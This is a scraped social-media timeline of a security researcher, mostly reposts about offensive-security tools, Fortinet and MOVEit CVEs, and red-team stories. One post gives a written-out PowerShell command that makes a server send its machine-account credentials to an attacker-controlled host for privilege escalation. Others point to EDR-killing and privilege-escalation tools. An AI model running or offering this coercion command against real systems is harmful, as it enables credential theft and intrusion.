Raphael @raphajohnsec

Tweets

120
Followers

291
Following

436
Likes

109

Filip Dragovic @filip_dragovic

2 years ago

So MSRC first say that they cannot reproduce ,now say that no security boundary is crossed. Tested this on few different machines and it was successful on all of them. This is bug in GamingServices , non default service so impact is not high. github.com/Wh04m1001/Gami…

13 110 408 98K 119

Download Video

Mayfly @M4yFly

2 years ago

Did you know you didn't need to use a potatoes exploit to going from iis apppool account to admin or system ? Simply use: powershell iwr http://192.168.56.1 -UseDefaultCredentials To get an HTTP coerce of the machine account. 👇🧵

8 223 779 78K 514

Download Image

Swissky @pentest_swissky

2 years ago

DLS 2024 - RedTeam Fails - "Oops my bad I ruined the operation", a story on how to fail a red team assessment 🦖 swisskyrepo.github.io/Drink-Love-Sha…

0 100 257 30K 126

Raphael @raphajohnsec

2 years ago

Thank you @codewhitesec for the interesting challenges and the great swag pack 😎 #Maultaschenfabrikle

0 1 10 748 0

Download Image

Raphael @raphajohnsec

2 years ago

Hi @ReolinkTech, please send me the source code for the Lumus, C1-Pro and C2-Pro cameras that I own. You use GPL licensed software in your products which requires you to provide the source code upon request. Many thanks.

0 0 1 44 0

Raphael @raphajohnsec

2 years ago

Awesome writeup

hypr @hyprdude

2 years ago

Awesome writeup

7 109 291 47K 80

0 0 3 233 0

drm @lowercase_drm

2 years ago

A new version of pywerview has been released! The tool can now work against DC with Channel Binding and LDAP Signing. s/o @rouge_cravate github.com/the-useless-on… 🌻

0 39 86 14K 27

Download Image

HackGit @hack_git

2 years ago

Traitor Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe, +w docker.sock github.com/liamg/traitor #infosec #pentesting #redteam

3 106 335 72K 146

Download Video

Clément Notin @cnotin

2 years ago

Official confirmation from Microsoft that there is no supported way to rotate nor change DPAPI backup keys! Compromised keys? ➡️ Burn the domain and rebuild a new one 💥

7 90 261 70K 59

DirectoryRanger @DirectoryRanger

2 years ago

Computer Account Relaying Vulnerabilities Part 1 praetorian.com/blog/active-di… Part 2 praetorian.com/blog/computer-…

0 33 93 17K 39

Christian B. @kimocoder

2 years ago

wifite2 v2.7.0 released. Supports newest, rewritten hcxdumptool, cOWPatty is working again and allows airodump-ng to exit (running in bg mode). Enjoy 🙂 github.com/kimocoder/wifi…

5 50 225 31K 59

mert @merterpreter

2 years ago

SharpTerminatator is a C# port of ZeroMemoryEx's art piece called Terminator. It can be used with Cobalt Strike's execute-assembly or as a standalone executable. All hail goes to him. and ofcourse spyboy :) github.com/mertdas/SharpT…

1 79 194 27K 62

Charles Fol @cfreal_

2 years ago

#Fortinet published a patch for CVE-2023-27997, the Remote Code Execution vulnerability @DDXhunter and I reported. This is reachable pre-authentication, on every SSL VPN appliance. Patch your #Fortigate. Details at a later time. #xortigate

25 294 699 371K 95

Swissky @pentest_swissky

2 years ago

Patch Diffing Progress MOVEIt Transfer RCE (CVE-2023-34362) - @assetnote - blog.assetnote.io/2023/06/07/mov…

0 3 8 2K 4

Bishop Fox @bishopfox

2 years ago

The critical #Fortinet #CVE-2022-42475 has made quite a buzz, and we’ve documented how you can create an #exploit targeting a single specific FortiGate appliance running a single specific version of FortiOS. bfx.social/3C3gdg8